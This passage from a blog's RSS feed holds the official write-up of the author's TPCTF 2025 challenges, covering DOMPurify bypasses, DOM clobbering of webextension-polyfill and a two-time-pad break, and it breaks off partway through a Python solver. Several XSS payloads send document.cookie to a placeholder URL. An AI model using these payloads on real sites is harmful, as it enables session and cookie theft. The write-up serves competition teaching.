<span><span style="color: #D6DEEB">        </span><span style="color: #C792EA">break</span><span style="color: #D6DEEB">;</span></span></code></pre></div></section>
<p>By default, only the soft limit but not the hard limit is hit. If we set the V8 flag <code>--<wbr>incremental<wbr>-<wbr>marking<wbr>-<wbr>hard<wbr>-<wbr>trigger<wbr>=<wbr>60</code>, it will hit the hard limit and immediately trigger a major GC.</p>
<p>Congratulations! You have followed this tour and now understand how this seemingly simple CTF challenge actually works, with basic knowledge about the V8 garbage collector.</p>
<p>……But wait, here<span class="mojikumi-narrow-left">’</span>s one last question, and I<span class="mojikumi-narrow-left">’</span>ll leave it for interesting readers:</p>
<a id="bonus-small-bills-in-multiple-rounds" name="bonus-small-bills-in-multiple-rounds" aria-hidden="true"></a>
<aside role="note" data-v-a2ab257f><div class="shadow-md rd-1 b-l-6 my-6 bg-purple-2 dark:bg-purple-9 b-purple-5" data-v-a2ab257f><div class="p-3 flex justify-between items-center" data-v-a2ab257f><h3 class="flex items-center gap-1 font-bold" data-v-a2ab257f><span class="text-5 i-mdi-help-circle-outline text-purple" data-v-a2ab257f></span><span class="sr-only" data-v-a2ab257f>Question: </span><span data-v-a2ab257f>Bonus: Small bills in multiple rounds</span></h3><!--v-if--></div><div class="overflow-auto rd-br-1 bg-card px-6 dark:bg-bghover" data-v-a2ab257f><p>Actually, instead of using a large signature, it can also be solved by withdrawing fewer small bills in many rounds (e.g. <code>1e-4</code> denomination for 50 rounds). Why?</p></div></div></aside>
<section data-footnotes class="footnotes"><h2 class="sr-only" id="footnote-label">Footnotes</h2>
<ol>
<li id="user-content-fn-flow">
<p>Opposite to what I did during the event, in this write-up, I present the correct solution and raise questions to it before investigating the underlying mechanisms. And I actually made some incorrect hypotheses during the event and found that they are wrong when writing this write-up. I spent some more time investigating it and I was kind of busy, so this write-up is posted one month after the event. <a href="#user-content-fnref-flow" data-footnote-backref class="data-footnote-backref" aria-label="Back to content">↩</a></p>
</li>
<li id="user-content-fn-ulimit-m">
<p><a href="https://unix.stackexchange.com/questions/129587/does-ulimit-m-not-work-on-modern-linux">memory - Does 'ulimit -m' not work on (modern) Linux? - Unix &#x26; Linux Stack Exchange</a> <a href="#user-content-fnref-ulimit-m" data-footnote-backref class="data-footnote-backref" aria-label="Back to content">↩</a></p>
</li>
<li id="user-content-fn-101-balance">
<p>If I were the challenge writer, I will probably set a lower balance, as I<span class="mojikumi-narrow-left">’</span>m afraid if it can be solved without a small denomination. <a href="#user-content-fnref-101-balance" data-footnote-backref class="data-footnote-backref" aria-label="Back to content">↩</a></p>
</li>
</ol>
</section>]]></content:encoded>
            <category domain="https://ouuan.moe/tag/writeup">writeup</category>
            <category domain="https://ouuan.moe/tag/ctf">ctf</category>
        </item>
        <item>
            <title><![CDATA[TPCTF 2025 Official Write-Up (6 challenges)]]></title>
            <link>https://ouuan.moe/post/2025/03/tpctf-2025</link>
            <guid>https://ouuan.moe/post/2025/03/tpctf-2025</guid>
            <pubDate>Tue, 11 Mar 2025 05:32:30 GMT</pubDate>
            <description><![CDATA[<p>TPCTF 2025 official write-up for my challenges: baby/safe layout (revenge), Are you incognito, encrypted chat, and verified toolbox.</p>
]]></description>
            <content:encoded><![CDATA[<p>TPCTF 2025 official write-up for my challenges: baby/safe layout (revenge), Are you incognito, encrypted chat, and verified toolbox.</p>

<p><a href="https://github.com/tp-ctf/TPCTF2025">Official repository with write-up and source code</a></p>
<p>This is my first time to write challenges in a public CTF. Feel free to leave a comment or add a reaction below if you have unintended solutions / suggestions / anything to say.</p>
<h2 id="baby-layout-81-solves" class="heading"><a href="#baby-layout-81-solves" class="heading-anchor" aria-label="章节： baby layout (81 solves)" tabindex="-1"></a><span>baby layout (81 solves)</span></h2>
<p>One solution is to put <code>{{<wbr>content<wbr>}}</code> inside an attribute and to close the quote in the inner payload:</p>
<section class="code-block relative my-6 shadow" itemprop="hasPart" itemscope itemtype="https://schema.org/SoftwareSourceCode" data-v-c675dba6><div class="h-6 items-center rd-t-1 bg-area px-4 dark:bg-#2A313A media-screen:important-flex" style="display:none;" data-v-c675dba6><h3 class="text-3 text-footer" itemprop="programmingLanguage" aria-label="HTML 代码块" data-v-c675dba6>HTML</h3><ile-root id="ile-39"><button title="复制到剪贴板" class="copy-button b-footer text-footer" data-v-63dfb2af><span class="i-mdi-content-copy" data-v-63dfb2af></span><span class="sr-only" role="status" data-v-63dfb2af></span></button></ile-root><!--ISLAND_HYDRATION_PLACEHOLDER_ile-39--></div><div class="dark:hidden" itemprop="text" data-v-c675dba6><pre class="shiki light" style="background-color: #FBFBFB" tabindex="0"><code><span><span style="color: #994CC3">&lt;img </span><span style="color: #4876D6">src</span><span style="color: #994CC3">=</span><span style="color: #111111">&quot;</span><span style="color: #C96765">{{content}}</span><span style="color: #111111">&quot;</span><span style="color: #994CC3">&gt;</span></span></code></pre></div><div class="dark:important-block" style="display:none;" data-v-c675dba6><pre class="shiki dark" style="background-color: #011627" tabindex="0"><code><span><span style="color: #7FDBCA">&lt;</span><span style="color: #CAECE6">img</span><span style="color: #7FDBCA"> </span><span style="color: #C5E478">src</span><span style="color: #7FDBCA">=</span><span style="color: #D9F5DD">&quot;</span><span style="color: #ECC48D">{{content}}</span><span style="color: #D9F5DD">&quot;</span><span style="color: #7FDBCA">&gt;</span></span></code></pre></div></section>
<section class="code-block relative my-6 shadow" itemprop="hasPart" itemscope itemtype="https://schema.org/SoftwareSourceCode" data-v-c675dba6><div class="h-6 items-center rd-t-1 bg-area px-4 dark:bg-#2A313A media-screen:important-flex" style="display:none;" data-v-c675dba6><h3 class="text-3 text-footer" itemprop="programmingLanguage" aria-label="HTML 代码块" data-v-c675dba6>HTML</h3><ile-root id="ile-40"><button title="复制到剪贴板" class="copy-button b-footer text-footer" data-v-63dfb2af><span class="i-mdi-content-copy" data-v-63dfb2af></span><span class="sr-only" role="status" data-v-63dfb2af></span></button></ile-root><!--ISLAND_HYDRATION_PLACEHOLDER_ile-40--></div><div class="dark:hidden" itemprop="text" data-v-c675dba6><pre class="shiki light" style="background-color: #FBFBFB" tabindex="0"><code><span><span style="color: #403F53">&quot; onerror=&quot;fetch(&#39;{YOUR_URL}&#39;+document.cookie)</span></span></code></pre></div><div class="dark:important-block" style="display:none;" data-v-c675dba6><pre class="shiki dark" style="background-color: #011627" tabindex="0"><code><span><span style="color: #D6DEEB">&quot; onerror=&quot;fetch(&#39;{YOUR_URL}&#39;+document.cookie)</span></span></code></pre></div></section>
<p>An alternative solution is to close a <code>&#x3C;textarea></code>, like <a href="https://mizu.re/post/exploring-the-dompurify-library-hunting-for-misconfigurations#bad-usage-not-enough-context">Bad usage | Not enough context | Exploring the DOMPurify library: Hunting for Misconfigurations (2/2) | mizu.re</a>:</p>
<section class="code-block relative my-6 shadow" itemprop="hasPart" itemscope itemtype="https://schema.org/SoftwareSourceCode" data-v-c675dba6><div class="h-6 items-center rd-t-1 bg-area px-4 dark:bg-#2A313A media-screen:important-flex" style="display:none;" data-v-c675dba6><h3 class="text-3 text-footer" itemprop="programmingLanguage" aria-label="HTML 代码块" data-v-c675dba6>HTML</h3><ile-root id="ile-41"><button title="复制到剪贴板" class="copy-button b-footer text-footer" data-v-63dfb2af><span class="i-mdi-content-copy" data-v-63dfb2af></span><span class="sr-only" role="status" data-v-63dfb2af></span></button></ile-root><!--ISLAND_HYDRATION_PLACEHOLDER_ile-41--></div><div class="dark:hidden" itemprop="text" data-v-c675dba6><pre class="shiki light" style="background-color: #FBFBFB" tabindex="0"><code><span><span style="color: #994CC3">&lt;textarea&gt;</span><span style="color: #403F53">{{content}}</span><span style="color: #994CC3">&lt;/textarea&gt;</span></span></code></pre></div><div class="dark:important-block" style="display:none;" data-v-c675dba6><pre class="shiki dark" style="background-color: #011627" tabindex="0"><code><span><span style="color: #7FDBCA">&lt;</span><span style="color: #CAECE6">textarea</span><span style="color: #7FDBCA">&gt;</span><span style="color: #D6DEEB">{{content}}</span><span style="color: #7FDBCA">&lt;/</span><span style="color: #CAECE6">textarea</span><span style="color: #7FDBCA">&gt;</span></span></code></pre></div></section>
<section class="code-block relative my-6 shadow" itemprop="hasPart" itemscope itemtype="https://schema.org/SoftwareSourceCode" data-v-c675dba6><div class="h-6 items-center rd-t-1 bg-area px-4 dark:bg-#2A313A media-screen:important-flex" style="display:none;" data-v-c675dba6><h3 class="text-3 text-footer" itemprop="programmingLanguage" aria-label="HTML 代码块" data-v-c675dba6>HTML</h3><ile-root id="ile-42"><button title="复制到剪贴板" class="copy-button b-footer text-footer" data-v-63dfb2af><span class="i-mdi-content-copy" data-v-63dfb2af></span><span class="sr-only" role="status" data-v-63dfb2af></span></button></ile-root><!--ISLAND_HYDRATION_PLACEHOLDER_ile-42--></div><div class="dark:hidden" itemprop="text" data-v-c675dba6><pre class="shiki light" style="background-color: #FBFBFB" tabindex="0"><code><span><span style="color: #994CC3">&lt;div </span><span style="color: #4876D6">id</span><span style="color: #994CC3">=</span><span style="color: #111111">&quot;</span><span style="color: #C96765">&lt;/textarea&gt;&lt;img src=x onerror=fetch(&#39;{YOUR_URL}&#39;+document.cookie)&gt;</span><span style="color: #111111">&quot;</span><span style="color: #994CC3">&gt;&lt;/div&gt;</span></span></code></pre></div><div class="dark:important-block" style="display:none;" data-v-c675dba6><pre class="shiki dark" style="background-color: #011627" tabindex="0"><code><span><span style="color: #7FDBCA">&lt;</span><span style="color: #CAECE6">div</span><span style="color: #7FDBCA"> </span><span style="color: #C5E478">id</span><span style="color: #7FDBCA">=</span><span style="color: #D9F5DD">&quot;</span><span style="color: #FFFFFF">&lt;</span><span style="color: #ECC48D">/textarea&gt;</span><span style="color: #FFFFFF">&lt;</span><span style="color: #ECC48D">img src=x onerror=fetch(&#39;{YOUR_URL}&#39;+document.cookie)&gt;</span><span style="color: #D9F5DD">&quot;</span><span style="color: #7FDBCA">&gt;&lt;/</span><span style="color: #CAECE6">div</span><span style="color: #7FDBCA">&gt;</span></span></code></pre></div></section>
<h2 id="safe-layout-50-solves" class="heading"><a href="#safe-layout-50-solves" class="heading-anchor" aria-label="章节： safe layout (50 solves)" tabindex="-1"></a><span>safe layout (50 solves)</span></h2>
<p>I made a mistake not banning <code>data</code> and <code>aria</code> attributes (<code>ALLOW_<wbr>DATA_<wbr>ATTR</code> and <code>ALLOW_<wbr>ARIA_<wbr>ATTR</code>)<sup><a href="#user-content-fn-mizu-2" id="user-content-fnref-mizu-2" data-footnote-ref aria-describedby="footnote-label">1</a></sup>, so it can be solved in the same way as the baby version by using <code>data-x</code> or <code>aria-x</code> instead of other attributes like <code>src</code>.</p>
<h2 id="safe-layout-revenge-29-solves" class="heading"><a href="#safe-layout-revenge-29-solves" class="heading-anchor" aria-label="章节： safe layout revenge (29 solves)" tabindex="-1"></a><span>safe layout revenge (29 solves)</span></h2>
<p>Tips: You can use <a href="https://yeswehack.github.io/Dom-Explorer/">Dom-Explorer</a> to see DOMPurify output. It<span class="mojikumi-narrow-left">’</span>s a great tool for playing with mXSS and sanitizers.</p>
<p>We need to get a malicious tag without using attributes. Normally, malicious tags will be either removed or escaped, but we can get unescaped angle brackets in <code>&#x3C;style></code>. DOMPurify is very strict and any HTML tags in <code>&#x3C;style></code> will be filtered. However, the regular expression only checks for <code>/&#x3C;[/\w]/</code>, so <code>&#x3C;{{<wbr>content<wbr>}}</code> will not be filtered and can be used to get malicious tags.</p>
<p>Here the inner payload is used twice, first to close the <code>&#x3C;style></code> tag and then to create the <code>&#x3C;img></code> tag:</p>
<section class="code-block relative my-6 shadow" itemprop="hasPart" itemscope itemtype="https://schema.org/SoftwareSourceCode" data-v-c675dba6><div class="h-6 items-center rd-t-1 bg-area px-4 dark:bg-#2A313A media-screen:important-flex" style="display:none;" data-v-c675dba6><h3 class="text-3 text-footer" itemprop="programmingLanguage" aria-label="HTML 代码块" data-v-c675dba6>HTML</h3><ile-root id="ile-43"><button title="复制到剪贴板" class="copy-button b-footer text-footer" data-v-63dfb2af><span class="i-mdi-content-copy" data-v-63dfb2af></span><span class="sr-only" role="status" data-v-63dfb2af></span></button></ile-root><!--ISLAND_HYDRATION_PLACEHOLDER_ile-43--></div><div class="dark:hidden" itemprop="text" data-v-c675dba6><pre class="shiki light" style="background-color: #FBFBFB" tabindex="0"><code><span><span style="color: #403F53">a</span><span style="color: #994CC3">&lt;style&gt;</span><span style="color: #403F53">{{</span><span style="color: #0C969B">content</span><span style="color: #403F53">}}&lt;{{</span><span style="color: #0C969B">content</span><span style="color: #403F53">}}</span><span style="color: #994CC3">&lt;/style&gt;</span></span></code></pre></div><div class="dark:important-block" style="display:none;" data-v-c675dba6><pre class="shiki dark" style="background-color: #011627" tabindex="0"><code><span><span style="color: #D6DEEB">a</span><span style="color: #7FDBCA">&lt;</span><span style="color: #CAECE6">style</span><span style="color: #7FDBCA">&gt;</span><span style="color: #D6DEEB">{{</span><span style="color: #80CBC4">content</span><span style="color: #D6DEEB">}}&lt;{{</span><span style="color: #80CBC4">content</span><span style="color: #D6DEEB">}}</span><span style="color: #7FDBCA">&lt;/</span><span style="color: #CAECE6">style</span><span style="color: #7FDBCA">&gt;</span></span></code></pre></div></section>
<section class="code-block relative my-6 shadow" itemprop="hasPart" itemscope itemtype="https://schema.org/SoftwareSourceCode" data-v-c675dba6><div class="h-6 items-center rd-t-1 bg-area px-4 dark:bg-#2A313A media-screen:important-flex" style="display:none;" data-v-c675dba6><h3 class="text-3 text-footer" itemprop="programmingLanguage" aria-label="HTML 代码块" data-v-c675dba6>HTML</h3><ile-root id="ile-44"><button title="复制到剪贴板" class="copy-button b-footer text-footer" data-v-63dfb2af><span class="i-mdi-content-copy" data-v-63dfb2af></span><span class="sr-only" role="status" data-v-63dfb2af></span></button></ile-root><!--ISLAND_HYDRATION_PLACEHOLDER_ile-44--></div><div class="dark:hidden" itemprop="text" data-v-c675dba6><pre class="shiki light" style="background-color: #FBFBFB" tabindex="0"><code><span><span style="color: #403F53">img src onerror=fetch(`{YOUR_URL}/`+document.cookie) </span><span style="color: #994CC3">&lt;style&gt;&lt;/style&gt;</span></span></code></pre></div><div class="dark:important-block" style="display:none;" data-v-c675dba6><pre class="shiki dark" style="background-color: #011627" tabindex="0"><code><span><span style="color: #D6DEEB">img src onerror=fetch(`{YOUR_URL}/`+document.cookie) </span><span style="color: #7FDBCA">&lt;</span><span style="color: #CAECE6">style</span><span style="color: #7FDBCA">&gt;&lt;/</span><span style="color: #CAECE6">style</span><span style="color: #7FDBCA">&gt;</span></span></code></pre></div></section>
<p>Another solution is similar but uses an empty <code>{{<wbr>content<wbr>}}</code>, like <a href="https://mizu.re/post/exploring-the-dompurify-library-hunting-for-misconfigurations#cve-2023-48219-tinymce">CVE-2023-48219</a><sup><a href="#user-content-fn-mizu-2" id="user-content-fnref-mizu-2-2" data-footnote-ref aria-describedby="footnote-label">1</a></sup>.</p>
<h2 id="are-you-incognito-3-solves" class="heading"><a href="#are-you-incognito-3-solves" class="heading-anchor" aria-label="章节： Are you incognito? (3 solves)" tabindex="-1"></a><span>Are you incognito? (3 solves)</span></h2>
<p>Notice that the bot runs Chromium but the extension uses <code>browser</code> instead of <code>chrome</code> to access the extension API. It uses <code>webextension<wbr>-<wbr>polyfill</code> to provide the API under <code>browser</code>. We can pass the check if we modify the <code>browser</code> object. We cannot directly create JavaScript variables since the web page and the content script run JavaScript separately, but we can use <a href="https://domclob.xyz/">DOM clobbering</a> to do so.</p>
<p>We need <code>browser<wbr>.<wbr>runtime<wbr>.<wbr>id</code> to pass <a href="https://github.com/mozilla/webextension-polyfill/blob/6a42cbeaf637ba3f1283bdcdd657afd06454ca55/src/browser-polyfill.js#L13">the check in <code>webextension<wbr>-<wbr>polyfill</code></a> and then <code class="break-all">browser.extension.inIncognitoContext</code> to pass the check in the challenge:</p>
<section class="code-block relative my-6 shadow" itemprop="hasPart" itemscope itemtype="https://schema.org/SoftwareSourceCode" data-v-c675dba6><div class="h-6 items-center rd-t-1 bg-area px-4 dark:bg-#2A313A media-screen:important-flex" style="display:none;" data-v-c675dba6><h3 class="text-3 text-footer" itemprop="programmingLanguage" aria-label="HTML 代码块" data-v-c675dba6>HTML</h3><ile-root id="ile-45"><button title="复制到剪贴板" class="copy-button b-footer text-footer" data-v-63dfb2af><span class="i-mdi-content-copy" data-v-63dfb2af></span><span class="sr-only" role="status" data-v-63dfb2af></span></button></ile-root><!--ISLAND_HYDRATION_PLACEHOLDER_ile-45--></div><div class="dark:hidden" itemprop="text" data-v-c675dba6><pre class="shiki light" style="background-color: #FBFBFB" tabindex="0"><code><span><span style="color: #994CC3">&lt;form </span><span style="color: #4876D6">id</span><span style="color: #994CC3">=</span><span style="color: #111111">&quot;</span><span style="color: #C96765">browser</span><span style="color: #111111">&quot;</span><span style="color: #994CC3"> </span><span style="color: #4876D6">name</span><span style="color: #994CC3">=</span><span style="color: #111111">&quot;</span><span style="color: #C96765">runtime</span><span style="color: #111111">&quot;</span><span style="color: #994CC3">&gt;&lt;/form&gt;</span></span>
<span><span style="color: #994CC3">&lt;form </span><span style="color: #4876D6">id</span><span style="color: #994CC3">=</span><span style="color: #111111">&quot;</span><span style="color: #C96765">browser</span><span style="color: #111111">&quot;</span><span style="color: #994CC3"> </span><span style="color: #4876D6">name</span><span style="color: #994CC3">=</span><span style="color: #111111">&quot;</span><span style="color: #C96765">extension</span><span style="color: #111111">&quot;</span><span style="color: #994CC3">&gt;</span></span>
<span><span style="color: #403F53">  </span><span style="color: #994CC3">&lt;input </span><span style="color: #4876D6">name</span><span style="color: #994CC3">=</span><span style="color: #111111">&quot;</span><span style="color: #C96765">inIncognitoContext</span><span style="color: #111111">&quot;</span><span style="color: #994CC3">&gt;</span></span>
<span><span style="color: #994CC3">&lt;/form&gt;</span></span></code></pre></div><div class="dark:important-block" style="display:none;" data-v-c675dba6><pre class="shiki dark" style="background-color: #011627" tabindex="0"><code><span><span style="color: #7FDBCA">&lt;</span><span style="color: #CAECE6">form</span><span style="color: #7FDBCA"> </span><span style="color: #C5E478">id</span><span style="color: #7FDBCA">=</span><span style="color: #D9F5DD">&quot;</span><span style="color: #ECC48D">browser</span><span style="color: #D9F5DD">&quot;</span><span style="color: #7FDBCA"> </span><span style="color: #C5E478">name</span><span style="color: #7FDBCA">=</span><span style="color: #D9F5DD">&quot;</span><span style="color: #ECC48D">runtime</span><span style="color: #D9F5DD">&quot;</span><span style="color: #7FDBCA">&gt;&lt;/</span><span style="color: #CAECE6">form</span><span style="color: #7FDBCA">&gt;</span></span>
<span><span style="color: #7FDBCA">&lt;</span><span style="color: #CAECE6">form</span><span style="color: #7FDBCA"> </span><span style="color: #C5E478">id</span><span style="color: #7FDBCA">=</span><span style="color: #D9F5DD">&quot;</span><span style="color: #ECC48D">browser</span><span style="color: #D9F5DD">&quot;</span><span style="color: #7FDBCA"> </span><span style="color: #C5E478">name</span><span style="color: #7FDBCA">=</span><span style="color: #D9F5DD">&quot;</span><span style="color: #ECC48D">extension</span><span style="color: #D9F5DD">&quot;</span><span style="color: #7FDBCA">&gt;</span></span>
<span><span style="color: #D6DEEB">  </span><span style="color: #7FDBCA">&lt;</span><span style="color: #CAECE6">input</span><span style="color: #7FDBCA"> </span><span style="color: #C5E478">name</span><span style="color: #7FDBCA">=</span><span style="color: #D9F5DD">&quot;</span><span style="color: #ECC48D">inIncognitoContext</span><span style="color: #D9F5DD">&quot;</span><span style="color: #7FDBCA">&gt;</span></span>
<span><span style="color: #7FDBCA">&lt;/</span><span style="color: #CAECE6">form</span><span style="color: #7FDBCA">&gt;</span></span></code></pre></div></section>
<p>An alternative solution is found by USTC-NEBULA, that is to create a global variable <code>exports</code> instead of <code>browser<wbr>.<wbr>runtime<wbr>.<wbr>id</code> to pass <a href="https://github.com/mozilla/webextension-polyfill/blob/6a42cbeaf637ba3f1283bdcdd657afd06454ca55/scripts/babel-transform-to-umd-module.js#L7">the check in <code>babel<wbr>-<wbr>transform<wbr>-<wbr>to<wbr>-<wbr>umd<wbr>-<wbr>module<wbr>.<wbr>js</code></a>.</p>
<p>Some sites such as webhook.site use path instead of subdomain for each user and are thus unable to record the <code>/flag</code> request. You can use <a href="https://requestrepo.com">requestrepo.com</a> or your own server.</p>
<p>This appears to be a 0-day vulnerability<sup><a href="#user-content-fn-webextension-polyfill" id="user-content-fnref-webextension-polyfill" data-footnote-ref aria-describedby="footnote-label">2</a></sup>, but I couldn<span class="mojikumi-narrow-left">’</span>t find a practical way to exploit it in real-world extensions. I suspect it may at most disrupt the normal execution of content scripts without posing significant security risks or providing strong attack incentives. Anyhow, I will report this to the upstream after the competition. It<span class="mojikumi-narrow-left">’</span>s at least a bug if not a vulnerability.</p>
<p>P.S. A similar bug was once discovered and fixed in <a href="https://github.com/mozilla/webextension-polyfill/pull/153">#153</a> but later introduced again in <a href="https://github.com/mozilla/webextension-polyfill/pull/582">#582</a>.</p>
<h2 id="encrypted-chat-15-solves" class="heading"><a href="#encrypted-chat-15-solves" class="heading-anchor" aria-label="章节： encrypted chat (15 solves)" tabindex="-1"></a><span>encrypted chat (15 solves)</span></h2>
<p>All senders share the same key stream, so race condition will happen if two participants send messages at the same time, before receiving the message sent from the other side, and then the key stream will be reused.</p>
<p>So we need to locate the parts where the key is reused and then decrypt them. Since the messages are in ASCII, we can use the highest bit in each byte to find reused key. The remaining of this challenge is <a href="https://crypto.stanford.edu/~dabo/cs255/hw_and_proj/hw1.html">this assignment in CS255</a>.</p>
<p>A simple approach is to XOR the messages and notice that XORing a letter with a space is to toggle its casing. So a character is likely to be a space if its XORs with others are letters. Then manually fix the broken words.</p>
<p>Another approach is to use some language model (e.g. GPT, a small one is enough) to calculate the probability of the next character (use the internal results, not to ask an AI assistant) and apply the Viterbi algorithm. Reference: <a href="https://dl.acm.org/doi/abs/10.1145/1180405.1180435">A Natural Language Approach to Automated Cryptanalysis of Two-time Pads</a>. This approach is more accurate but too expensive to implement during a CTF.<sup><a href="#user-content-fn-gpt-viterbi" id="user-content-fnref-gpt-viterbi" data-footnote-ref aria-describedby="footnote-label">3</a></sup></p>
<p>Or you can use the known plaintext <code>TPCTF{</code> as a starting point.</p>
<p>Here<span class="mojikumi-narrow-left">’</span>s my script with an interactive solver to fix the broken words:</p>
<section class="code-block relative my-6 shadow" itemprop="hasPart" itemscope itemtype="https://schema.org/SoftwareSourceCode" data-v-c675dba6><div class="h-6 items-center rd-t-1 bg-area px-4 dark:bg-#2A313A media-screen:important-flex" style="display:none;" data-v-c675dba6><h3 class="text-3 text-footer" itemprop="programmingLanguage" aria-label="Python 代码块" data-v-c675dba6>Python</h3><ile-root id="ile-46"><button title="复制到剪贴板" class="copy-button b-footer text-footer" data-v-63dfb2af><span class="i-mdi-content-copy" data-v-63dfb2af></span><span class="sr-only" role="status" data-v-63dfb2af></span></button></ile-root><!--ISLAND_HYDRATION_PLACEHOLDER_ile-46--></div><div class="dark:hidden" itemprop="text" data-v-c675dba6><pre class="shiki light" style="background-color: #FBFBFB" tabindex="0"><code><span><span style="color: #994CC3">import</span><span style="color: #403F53"> json</span></span>
<span><span style="color: #994CC3">from</span><span style="color: #403F53"> base64 </span><span style="color: #994CC3">import</span><span style="color: #403F53"> b64decode, b64encode</span></span>
<span><span style="color: #994CC3">from</span><span style="color: #403F53"> string </span><span style="color: #994CC3">import</span><span style="color: #403F53"> ascii_letters</span></span>
<span></span>
<span><span style="color: #994CC3">def</span><span style="color: #403F53"> </span><span style="color: #4876D6">solve</span><span style="color: #111111">(</span><span style="color: #0C969B">ciphertexts</span><span style="color: #403F53">: list[</span><span style="color: #4876D6">bytes</span><span style="color: #403F53">]</span><span style="color: #111111">)</span><span style="color: #403F53">:</span></span>
<span><span style="color: #403F53">    n </span><span style="color: #994CC3">=</span><span style="color: #403F53"> </span><span style="color: #4876D6">len</span><span style="color: #403F53">(</span><span style="color: #4876D6">ciphertexts</span><span style="color: #403F53">)</span></span>
<span><span style="color: #403F53">    m </span><span style="color: #994CC3">=</span><span style="color: #403F53"> </span><span style="color: #4876D6">len</span><span style="color: #403F53">(</span><span style="color: #4876D6">ciphertexts</span><span style="color: #403F53">[</span><span style="color: #AA0982">0</span><span style="color: #403F53">])</span></span>
<span><span style="color: #403F53">    key </span><span style="color: #994CC3">=</span><span style="color: #403F53"> </span><span style="color: #4876D6">bytearray</span><span style="color: #403F53">(</span><span style="color: #4876D6">m</span><span style="color: #403F53">)</span></span>
<span><span style="color: #403F53">    </span><span style="color: #994CC3">for</span><span style="color: #403F53"> i </span><span style="color: #994CC3">in</span><span style="color: #403F53"> </span><span style="color: #4876D6">range</span><span style="color: #403F53">(</span><span style="color: #4876D6">m</span><span style="color: #403F53">):</span></span>
<span><span style="color: #403F53">        count </span><span style="color: #994CC3">=</span><span style="color: #403F53"> </span><span style="color: #111111">[</span><span style="color: #AA0982">0</span><span style="color: #111111">]</span><span style="color: #403F53"> </span><span style="color: #994CC3">*</span><span style="color: #403F53"> n</span></span>
<span><span style="color: #403F53">        </span><span style="color: #994CC3">for</span><span style="color: #403F53"> j, x </span><span style="color: #994CC3">in</span><span style="color: #403F53"> </span><span style="color: #4876D6">enumerate</span><span style="color: #403F53">(</span><span style="color: #4876D6">ciphertexts</span><span style="color: #403F53">):</span></span>
<span><span style="color: #403F53">            </span><span style="color: #994CC3">for</span><span style="color: #403F53"> k, y </span><span style="color: #994CC3">in</span><span style="color: #403F53"> </span><span style="color: #4876D6">enumerate</span><span style="color: #403F53">(</span><span style="color: #4876D6">ciphertexts</span><span style="color: #403F53">[</span><span style="color: #4876D6">:j</span><span style="color: #403F53">]):</span></span>
<span><span style="color: #403F53">                </span><span style="color: #994CC3">if</span><span style="color: #403F53"> </span><span style="color: #4876D6">chr</span><span style="color: #403F53">(</span><span style="color: #4876D6">x</span><span style="color: #403F53">[</span><span style="color: #4876D6">i</span><span style="color: #403F53">]</span><span style="color: #4876D6"> </span><span style="color: #994CC3">^</span><span style="color: #4876D6"> y</span><span style="color: #403F53">[</span><span style="color: #4876D6">i</span><span style="color: #403F53">]) </span><span style="color: #994CC3">in</span><span style="color: #403F53"> ascii_letters:</span></span>
<span><span style="color: #403F53">                    count[j] </span><span style="color: #994CC3">+=</span><span style="color: #403F53"> </span><span style="color: #AA0982">1</span></span>
<span><span style="color: #403F53">                    count[k] </span><span style="color: #994CC3">+=</span><span style="color: #403F53"> </span><span style="color: #AA0982">1</span></span>
<span><span style="color: #403F53">        key[i] </span><span style="color: #994CC3">=</span><span style="color: #403F53"> </span><span style="color: #AA0982">32</span><span style="color: #403F53"> </span><span style="color: #994CC3">^</span><span style="color: #403F53"> ciphertexts[count.</span><span style="color: #0C969B">index</span><span style="color: #403F53">(</span><span style="color: #4876D6">max</span><span style="color: #403F53">(</span><span style="color: #4876D6">count</span><span style="color: #403F53">))]</span><span style="color: #111111">[</span><span style="color: #403F53">i</span><span style="color: #111111">]</span></span>
<span><span style="color: #403F53">    plaintexts </span><span style="color: #994CC3">=</span><span style="color: #403F53"> </span><span style="color: #111111">[]</span></span>
<span><span style="color: #403F53">    </span><span style="color: #994CC3">for</span><span style="color: #403F53"> ciphertext </span><span style="color: #994CC3">in</span><span style="color: #403F53"> ciphertexts:</span></span>
<span><span style="color: #403F53">        plaintext </span><span style="color: #994CC3">=</span><span style="color: #403F53"> </span><span style="color: #4876D6">bytes</span><span style="color: #403F53">(</span><span style="color: #4876D6">c </span><span style="color: #994CC3">^</span><span style="color: #4876D6"> k </span><span style="color: #994CC3">for</span><span style="color: #4876D6"> c</span><span style="color: #111111">,</span><span style="color: #4876D6"> k </span><span style="color: #994CC3">in</span><span style="color: #4876D6"> zip</span><span style="color: #403F53">(</span><span style="color: #4876D6">ciphertext</span><span style="color: #111111">,</span><span style="color: #4876D6"> key</span><span style="color: #403F53">))</span></span>
<span><span style="color: #403F53">        plaintexts.</span><span style="color: #0C969B">append</span><span style="color: #403F53">(</span><span style="color: #0C969B">b64encode</span><span style="color: #403F53">(</span><span style="color: #4876D6">plaintext</span><span style="color: #403F53">)</span><span style="color: #4876D6">.</span><span style="color: #0C969B">decode</span><span style="color: #403F53">())</span></span>
<span><span style="color: #403F53">    </span><span style="color: #4876D6">print</span><span style="color: #403F53">(</span><span style="color: #4876D6">json.</span><span style="color: #0C969B">dumps</span><span style="color: #403F53">(</span><span style="color: #4876D6">plaintexts</span><span style="color: #403F53">))</span></span>
<span></span>
<span><span style="color: #994CC3">with</span><span style="color: #403F53"> </span><span style="color: #4876D6">open</span><span style="color: #403F53">(</span><span style="color: #111111">&#39;</span><span style="color: #C96765">messages.txt</span><span style="color: #111111">&#39;</span><span style="color: #403F53">) </span><span style="color: #994CC3">as</span><span style="color: #403F53"> f:</span></span>
<span><span style="color: #403F53">    stream </span><span style="color: #994CC3">=</span><span style="color: #403F53"> </span><span style="color: #0C969B">b64decode</span><span style="color: #403F53">(</span><span style="color: #4876D6">f.</span><span style="color: #0C969B">read</span><span style="color: #403F53">())</span></span>
<span></span>
<span><span style="color: #403F53">n </span><span style="color: #994CC3">=</span><span style="color: #403F53"> </span><span style="color: #4876D6">len</span><span style="color: #403F53">(</span><span style="color: #4876D6">stream</span><span style="color: #403F53">)</span></span>
<span><span style="color: #403F53">high_bits </span><span style="color: #994CC3">=</span><span style="color: #403F53"> </span><span style="color: #4876D6">bytes</span><span style="color: #403F53">(</span><span style="color: #111111">[</span><span style="color: #4876D6">b </span><span style="color: #994CC3">&gt;&gt;</span><span style="color: #4876D6"> </span><span style="color: #AA0982">7</span><span style="color: #4876D6"> </span><span style="color: #994CC3">for</span><span style="color: #4876D6"> b </span><span style="color: #994CC3">in</span><span style="color: #4876D6"> stream</span><span style="color: #111111">]</span><span style="color: #403F53">)</span></span>
<span></span>
